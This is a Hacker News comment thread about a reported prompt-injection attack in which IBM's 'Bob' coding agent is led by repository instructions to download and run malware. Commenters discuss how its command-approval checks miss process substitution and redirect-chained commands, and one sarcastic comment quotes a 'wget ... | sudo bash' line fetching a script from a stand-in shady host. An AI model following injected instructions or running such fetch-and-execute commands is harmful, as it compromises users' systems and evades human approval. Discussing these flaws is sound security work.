8 ms·
IBM AI ('Bob') Downloads and Executes Malware
- hackerBanana 9mo agopretty funny that the text shown users when trying run commands with substitution like $() specifically says they block process substitution in commands, but the code just doesnt block it at all
- francisofascii 9mo agoIt was Bob? Sure it wasn't Mallory? ;)
- forshaper 9mo agoI heh'd out loud
- deleted 9mo ago[deleted]
- omneity 9mo agoSounds like most of this is simply taking shortcuts instead of properly parsing[0]. 0: https://lexi-lambda.github.io/blog/2019/11/05/parse-don-t-validate/ https://lexi-lambda.github.io/blog/2019/11/05/parse-don-t-va...
- Terr_ 9mo agoI'd rather view it as a failure to distinguish between data and logic. The status-quo is several steps short of where it needs to be before we can productively start talking about types and completeness. Unfortunately that, er, opportunistic shortcut is an essential behavior of modern LLMs, and everybody keeps building around it hoping the root problem will be fixed by some silver-bullet further down the line.
- falloutx 9mo agoI didnt know IBM was even in this game.
- walrus01 9mo agoWould be more amusing if Microsoft resurrected the "Bob" name for something AI.
- ronbenton 9mo agoThese prompt injection vulnerabilities give me the heebie jeebies. LLMs feel so non deterministic that it appears to me to be really hard to guard against. Can someone with experience in the area tell me if I'm off base?
- throwmeaway820 9mo ago> it appears to me to be really hard to guard against I don't want to sound glib, but one could simply not let an LLM execute arbitrary code without reviewing it first, or only let it execute code inside an isolated environment designed to run untrusted code the idea of letting an LLM execute code it's dreamt up, with no oversight, in an environment you care about, is absolutely bananas to me
- sigmonsays 9mo agojust wait until the exploit is so heavily obfuscated that you just review and allow it to get the project done.
- therobots927 9mo agoYou could literally ask the LLM to obfuscate it and I bet it would do a pretty good job. Good luck parsing 1,000 lines of code manually to identify an exploit that you’re not even specifically looking for.
- lazide 9mo agoYup, add in some poetic prompt injection…..
- blibble 9mo ago> the idea of letting an LLM execute code it's dreamt up, with no oversight, in an environment you care about, is absolutely bananas to me but if a skilled human has to check everything it does then "AI" becomes worthless hence... YOLO
- rpodraza 9mo agoMaybe I'm paranoid, but allowing any coding agent or tool to execute commands within terminal that is not sandboxed somehow will be prone to attacks like that
- internet101010 9mo agoIt's a double edged sword. With terminal sure, but not allowing interaction in Microsoft applications like Power BI (especially with no ability to copy and paste) renders Copilot completely useless.
- braingravy 9mo agoFor Power BI + AI work, you can use the JSON formatted .pbip report and semantic model files. Just fyi.
- hultner 9mo agoIsn’t the problem that it’s supposed to not execute commands without strict approval but the shell stdout redirection in combination with process substitution is bypassing this.
- edf13 9mo agoKey part of the article../ “if the user configures ‘always allow’ for any command”
- promiseofbeans 9mo agoAnother key part: the command can be displayed as just `echo`, but allows execution of anything
- nyrikki 9mo ago> In the documentation, IBM warns that setting auto-approve for commands constitutes a 'high risk' that can 'potentially execute harmful operations' - with the recommendation that users leverage whitelists and avoid wildcards Users have been trained to do this, as shifting the burden to the user with no way to enforce bounds or even sensible defaults. E.G. I can guarantee that people will whitelist bwrap, crun, docker, expecting to gain advantage from isolation, while the caller can override all of those protections with arguments. The reality is that we have trained the public to allow local code execution on their devices to save a few cents on a hamburger, we can’t have it both ways. Unless you are going to teach everyone that they need to make sure address family 40, openat2(), etc.. are unsafe, users have no way to win right now. The use case has to either explicitly harden or shift blame. With Opendesktop, OCI, systemd, and kernel all making locally optimal decisions, the reality is that ephemeral VMs is the only ‘safe’ way to run untrusted code today. Sandboxes can be better but containers on a workstation (without a machine VM) are purely theatre.
- prodigycorp 9mo agoI'm not saying IBM shouldn't try, but really – why is IBM building coding CLIs? They're like the company version of the Steve Buscemi "How do you do, fellow kids?" meme.
- TZubiri 9mo agoIBM has a huge history with AI, Deep Blue, Watson.. Ok, maybe not huge, but they've always been in the game even before most of us wore pants.
- internet_points 9mo agoand the tech behind the original google translate https://en.wikipedia.org/wiki/IBM_alignment_models https://en.wikipedia.org/wiki/IBM_alignment_models
- wpasc 9mo agoFor once, one might actually get fired for buying/hiring IBM
- ronbenton 9mo agoSomething to do with shareholders I guess?
- _23sd 9mo agoPart of the problem here is all the vendor lock in with the tools. It's a new category so it's to be expected, but currently any company that sells an enterprise cloud platform kind of needs their own AI coding tool suite to be competitive.
- jerlam 9mo agoI would have expected IBM to buy and integrate another AI coding company or license one, instead of trying to build it themselves. IBM doesn't have a good track record of building products. Maybe they didn't have time, or were convinced it was too easy.
- 9mo ago
- 33a 9mo agoYou can probably get any coding agent with this if you put these instructions in the README/CLAUDE.md/AGENTS.md or whatever of your repo. It's unclear to me if Bob is working as intended or how we should classify these types of bugs. Threat modeling this sort of prompt injection gets murky, but in general don't put untrusted markdown into your AI agents.
- OakNinja 9mo ago"IBM Bob is IBM’s new coding agent, currently in Closed Beta. " Promptarmor did a similar attack(1) on Google's Antigravity that is also a beta version. Since then, they added secure mode(2). These are still beta tools. When the tools are ready, I'd argue that they will probably be safer out of the box compared to a whole lot of users that just blindly copy-paste stuff from the internet, adding random dependencies without proper due diligence, etc. These tools might actually help users acting more secure. I'm honestly more worried about all the other problems these tools create. Vibe coded problems scale fast. And businesses have still not understood that code is not an asset, it's a liability. Ideally, you solve your business problems with zero lines of code. Code is not expensive to write, it's expensive to maintain. (1) https://www.promptarmor.com/resources/google-antigravity-exfiltrates-data https://www.promptarmor.com/resources/google-antigravity-exf... (2) https://antigravity.google/docs/secure-mode https://antigravity.google/docs/secure-mode
- InsideOutSanta 9mo agoWhile they have found some solvable issues (e.g. "the defense system fails to identify separate sub-commands when they are chained using a redirect operator"), the main issue is unsolvable. If you allow an LLM to edit your code and also give it access to untrusted data (like the Internet), you have a security problem.
- derektank 9mo agoA problem yes, but I think GP is correct in comparing the problem to that of human workers. The solution there has historically been RBAC and risk management. I don’t see any conceptual difference between a human and an automated system on this front
- moron4hire 9mo agoA human worker can be coached, fired, terminated, sued, any number of things can be done to a human worker for making such a mistake or willful attack. But AI companies, as we have seen with almost every issue so far, will be given a pass while Sam Altman sycophants cheer and talk about how it'll "get better" in the future, just trust them.
- tmsbrg 9mo agoI'm surprised there's no mention about disclosing the bug to IBM?. Usually these kinds of disclosures have a timeline showing when they told the vendor about the bug and when it was fixed. Now it looks like they just randomly released the vulnerability info on their blog. Also a bit annoyed there's no date on the article, but looking at the HTML source it seems it was released today (isn't it annoying when blog software doesn't show the publish date?).
- zahlman 9mo ago> Bob has three defenses that are bypassed in this attack This section describes the bypass in three steps, but only actually describes two defenses and uses the third bullet point as a summary of how the two bypasses interact.
- samtp 9mo agoAI bypassed the content editor on this step
- krackers 9mo agoThe killer use case for AI will be bonzi buddy reborn.
- rmonvfer 9mo agoI can’t believe the Bob CLI is just another fork of the Gemini CLI, no wonder Anthropic has the moat in agentic development CLIs, at least they are developing their own.
- lxe 9mo agoI hate this type of headline. Imagine if we had something like: "google downloads and executes malware" "outlook downloads and executes malware" "chrome downloads and executes malware" That would be ridiculous, right? The right headline is: "a person using a computer downloads and executes malware"
- maxlin 9mo agoThought the product looks good for a prototype, but crazy as a published product. Then found out it's a closed beta. So ... ok? Closed beta test is doing what such a test is supposed to do. Sure, ideally the issue would have been figured out earlier, especially if this is a design issue and the parsing needs to be thought out again, but this is still reasonably inside the layers of redundancy for catching these kinds of things amicably.
- gram-hours 9mo agoThis is an article with a very very high commercial vested interest in the software they sell (promptarmor.com - "All AI Risk is Third Party Risk").
- Mouvelie 9mo agoEt bah c'est bien !
- kingjimmy 9mo agoDo we really need another LLM CLI ?
- philipallstar 9mo agoFeels like whitelisting URLs that an AI can access is a good idea.
- orliesaurus 9mo agoThink about this for a second. So we're telling me that IBM just created an AI assistant that's basically been trained to run malware if you tell it nicely? That's wild, man. That's actually insane. Like, we're at this point now where we're building these superintelligent systems but we can't even figure out how to keep them from getting pranked by a README file? A README FILE, bro. That's like... that's like building a robot bodyguard but forgetting to tell it the difference between a real gun and a fake gun. And here's the crazy part - the article says users just have to not click "always allow." But dude, have you MET users? Come on. That's like telling someone not to eat the Tide Pod. You're fighting human nature here. I'm telling you, five years from now we're gonna have some kid write a poem about cybersecurity in their GitHub repo and accidentally crash the entire Stock Exchange. Mark my words. This is the most insane timeline.
- philipallstar 9mo agoThat's odd. I don't remember getting into a taxi.
- orliesaurus 9mo agoahhahahahahahah nice one
- schmuckonwheels 9mo agoI don't see the problem here. We have automated the task of developers blindly executing wget -qO - http://shadysite/foo.sh | sudo bash They would have happily pasted it into the terminal without the automation. It's a net win for everyone involved. Malware writers and their targets alike, who, eager to install the latest fad library or framework would have voluntarily installed it anyway.
- Candelacristina 9mo ago[dead]
- IBMsux 9mo ago?